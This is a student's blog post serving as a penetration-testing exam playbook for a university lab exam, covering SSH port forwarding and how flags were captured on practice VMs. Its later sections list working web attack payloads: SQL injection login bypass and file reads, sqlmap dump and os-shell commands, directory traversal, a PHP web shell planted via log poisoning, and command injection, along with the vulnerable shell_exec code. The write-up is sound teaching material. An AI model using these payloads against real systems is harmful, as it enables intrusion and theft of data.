> ## Content Index
> Fetch the complete content index at: https://niklas-heringer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Test Exam: Penetration Testing Playbook 01
- URL: https://niklas-heringer.com/penetration-testing/exam-prep-one/
- Published: 2025-07-03T15:26:00.000Z
- Updated: 2025-11-15T12:21:22.000Z
- Description: My personal playbook for my penetration testing test exam, covering all key steps from access via port forwarding to grabbing ALL 8 flags.
- Author: Niklas Heringer
- Tags: exam-prep, ctf, penetration-testing, port-forwarding, ssh, proxychains, web-exploitation, tunneling, lateral-movement, post-exploitation

My semester is coming to an end. The "Penetration Testing" exam will be 120min long, where every participant receives their own virtual machine.

> Today here, we will go through test exercises, before the test exam tomorrow, the final test before the exam on July 18th. Let's lern about Tunneling, have fun and **capture some flags**!

# What is Port Forwarding/ Tunneling?

If someone's talking about Port Forwarding/ Tunneling, it's most likely they're talking about [Secure Shell](https://www.ssh.com/academy/ssh?ref=niklas-heringer.com) \- i wanted to use the long name, since **recently in an interview, i forgot what ssh stood for...** too many abbreviations in my mind haha.

> SSH is as old as time, yet still in use **EVERYWHERE**. **DON'T** underestimate old technology, thinking it's long since gone. But back to the topic

We use Port Forwarding to.. *tunnel* (hehe that's the name of the movie) application ports, either from a client machine to a server machine or vice versa. This can help to

- Add encryption to older apps
- force data to pass through a firewall
- open backdoors to internal networks from home machines
- **open malicious access from the web to internal networks**

# Local Forwarding

Here, we **forward a port from the client machine to the server machine.**

> **Local Forwarding := starting on your own machine.**

We pick a local port, and when you connect via SSH, that port gets tunneled to an SSH server. From there, the server forwards the traffic to a target destination, often a service that’s only accessible inside a private network. This way, you can interact with internal services like databases, internal websites, or even SMB shares as if they were running locally.

> This is also tremendously useful if you're a red teamer and you've hacked a machine, now trying to hack other machines from it - **except your tools are not installed there..**

We will now therefor **open a network socket on a local port, which awaits connection attempts**. Incoming connections lead to a connection to a remote host - **where our exercises are!**

**Optionalities are in \[ \]**

```bash
ssh -L [LOCAL_IP:]LOCAL_PORT:REMOTE_IP:REMOTE_PORT [user@]sshd_addr

```

an [example](https://www.ssh.com/academy/ssh/tunneling-example?ref=niklas-heringer.com) for this would be:

```bash
ssh -L 80:intra.example.com:80 gw.example.com

```

Here, we open a connection to the `gw.example.com` jump server, **forwarding any connections that go to port 80 on our local machine TO port 80 on `intra.example.com`**.

> If we don't specify a local adress/ local IP, it is defaulted to localhost: 

```bash
ssh -L 8080 ....
# same as:
ssh -L localhost:8080 ....
```

Our **local SSH client** starts to listen on `localhost:8080`, and the **SSH Tunnel** guides traffic towards the specific **SSH Server**, which then guides us along to resources, services, whatever.

> The `sshd_addr` and `REMOTE_IP` (remote address) **may or may not be the same** \- we can also have them be different values - then the SSH server is somewhere else in an internal network than the resource we want to access; no problem!

# Remote Forwarding: The inverse Version

```bash
ssh -R [REMOTE_IP:]REMOTE_PORT:LOCAL_IP:LOCAL_PORT [user@]gateway_addr

```

In this scenariom we want to **(momentarily)** expose a local service to the outside world.

> The command might look the same, but works a bit different.

For this, we'll need a *public-facing ingress gateway* \- a public server that will forward traffic to us. **By default, this public server will only do so for it's own localhost as the remote address**. To enable beyond that, we need to configure the `GatewayPorts yes` setting.

[This blog post](https://iximiuz.com/en/posts/ssh-tunnels/?ref=niklas-heringer.com) has super nice diagrams to understand everything better, you'll see that otherwise, Remote Forwarding is just inverse Local Forwarding.

> Later, we'll have to learn ProxyChains, but for now that's too much i guess.

---

# Going into the exercise

We will now say "Hey, tunnel my local port 8888 to localhost:80 on the remote exercise host i'm SSH-ing into"

```bash
ssh -L 8888:localhost:80 user@REMOTE_IP

```

![](https://storage.ghost.io/c/a1/92/a19235e1-df52-43a1-9f25-1151fdb92c82/content/images/2025/11/successfull_connect.png)

This gives me a point and the first flag.

> Let's use `netstat -tulpn` to discover content!

- `-t` → TCP
- `-u` → UDP
- `-l` → listening ports only
- `-p` → show process name/PID
- `-n` → show numeric IPs and ports (no DNS resolution)

```bash
netstat -tulpn

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:40497         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8088          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::5355                 :::*                    LISTEN      -                   
udp        0      0 127.0.0.54:53           0.0.0.0:*                           -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:5355            0.0.0.0:*                           -                   
udp6       0      0 :::5355                 :::*

```

> Well that looks nice.. 25, 40497, 53555 all look deliciousss...

**Now, we need to forward services we want to search through also**

```bash
ssh -L 88889:localhost:40497 user@REMOTE_IP

# results in 404: Page Not Found

```

okay, soo..

```bash
ssh -L 88889:localhost:5355 user@REMOTE_IP

```

and then you can begin.

---

> Harsh interruption here. Right after this part i went to Uni and had my test exam. It went **awesome**, i got all 8/8 flags, BUT some of them took me too long due to errors i could've avoided easily. So this part will be an **exam playbook** for reference.

---

# Exam Playbook

## Important wordlist

Our prof said anything we need would be in `/usr/share/sqlmap/data/txt/common-files.txt`

## Multiple Tunnels at the same time

```bash
ssh -L 8889:localhost:53 -L 8890:localhost:8008 -L 8891:localhost:8020 guest@$RHOST

```

## Tunnel fuzzing

```bash
ffuf -u http://localhost:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt

```

## SQL Injections

### Basic Auth Bypass

```bash
admin' OR 1=1 -- -

```

> `--` starts a comment that runs to end-of-line, yet in **most** dialects you must have whitespace after those hyphens for the comment to be valid and recognized; the trailing `-` is just **dummy text** *inside* the comment so it isn't empty

#### You can also try

```bash
user=admin'-- 
pass=irrelevant

```

### What worked in the Exam

```bash
POST /lazy-admin/ HTTP/1.1
Host: localhost:8890
Content-Type: application/x-www-form-urlencoded
...

user=Administrator' OR 1=1 -- -&pass=&submit=Login
```

ofc it was **URL-encoded**, wrote it here for maximum clarity.

### Read Payload

```bash
admin' UNION SELECT LOAD_FILE('/etc/flag.txt'), 'b', 'c' -- -

```

> ofc you'll need an exact column amount for `UNION`, test it out by adding/ removing columns.

### Reading Paths via Errors

```bash
q=1' UNION SELECT "<?php echo 'owned'; ?>" , 'hi', 'hi' INTO OUTFILE 'shell.php' -- -&submit=Search users

```

gave me the error telling me webroot/ path: `/var/www/html/db-users/index.php`

### SQLMap

If you have a query you want to **check with SQLMap**, e.g.:

```bash
POST /db-users/ HTTP/1.1
Host: localhost:8890
[...]
Referer: http://localhost:8890/db-users/
[...]

q=1&submit=Search+users

```

**Make sure** that the payload is empty, e.g. here just `q=1`, the parameter with just a placeholder - **sqlmap injects itself!**

#### sqlmap commands

```bash
sqlmap -r req.txt

# and when an injection worked:
sqlmap -r req.txt --file-read=/etc/flag.txt

sqlmap -r req.txt --dbs

sqlmap -r req.txt -D <database_name> -T <table> --dump

sqlmap -r req.txt --os-shell

```

# Local File Inclusion

## Care for Dir Traversal

```bash
http://localhost:8891/phish/?page=../../../../../etc/flag.txt

```

was a central point for me getting a flag here, classical dir traversal.

## RCE via Log Poisoning

```http
POST /phish/legit-website.php HTTP/1.1
Host: localhost:8891
...
X-Flag: <?php system($_GET["cmd"]); ?>
...
user=JohnDoe&pass=<?php system($_GET["cmd"]); ?>&submit=Login
```

> **Again, you need to encode the payload**. **FIRST, USE THE SITE AS A USER!**

  
I kept the `X-Flag` poison but no headers where logged, just login credentials and a timestamp.. **which i would've known to poison directly if i had just directly tried the site like a normal user!!**

## Checking PHP Code

> **CAREFULLY** read php code if you can! It **ALWAYS** tells you something, e.g. in the test exam, i came accross a hardcoded md5 hash:

```php
...
if (md5($pw) == '084e0343a0486ff05530df6c705c8bb4') {
         echo '<pre>Welcome to the tree house, your flag is ' . $flag . '<pre>';
     } else {
         echo '<pre>Incorrect password</pre>';
     }
...
```

# Command Injection

## ... via `grep`

```bash
GET /local-user-search/?user=%3b%20cat%20%2fetc%2fflag.txt%202%3e%2fdev%2fnull%3b%23&submit=Search

```

decoded payload:

```bash
; cat /etc/flag.txt 2>/dev/null;#

```

The key insight: The vulnerable PHP code was:

```php
$cmd = 'grep ' . $_GET['user'] . ' /etc/passwd';
$output = shell_exec($cmd);

```

Because `$_GET['user']` is passed **unsanitized into a shell command**, I injected my own command using `;`.

**That’s command injection.** Even though it's a `grep` call, I exploited the unescaped input to append a separate command (`cat /etc/flag.txt`).

## How to Recognize Command Execution from User Input

Whenever you see PHP or any server-side code doing this:

```php
shell_exec("some-command " . $_GET["param"]);

```

Look for:

- `shell_exec()`, `exec()`, `system()`, `passthru()` functions
- user-controlled variables passed **without sanitization or escapes**
- no use of `escapeshellarg()` or `escapeshellcmd()`

**Signs in output:**

- Response contains command output (like `id`, `ls`, or `cat`)
- Server errors on invalid command syntax
- You get directory listings or full file contents

Result: **our flag!**

💡 **Lesson:** Even `grep` can become a command injection vector if unescaped. Always try `; id`, `; cat /etc/passwd`, `; ls /`, and see if the result returns back to you.

---

# Concluding:

- first flag was free in a sub-page
- second flag was the simple **sql auth bypass**
- third flag was the **dir traversal** using the unprotected **`GET`\-parameter**
- fourth flag came through `sqlmap` infiltrating the **sql database** (password was in a table entry)
- fifth flag came through the "reverse engineering" of the **PHP code with a hardcoded MD5 hash**
- sixth flag came through the **LFI2RCE (Log Poisoning)** i showcased
- Flags seven and eight came through the **Command Injection**s, one time grepping `/etc/flag.txt` and one time executing a `getflag.sh` through an appended command.

> I loved the test exam! It was very helpful to make out my weaknesses - for some of these i took longer than necessary, and i need to focus more.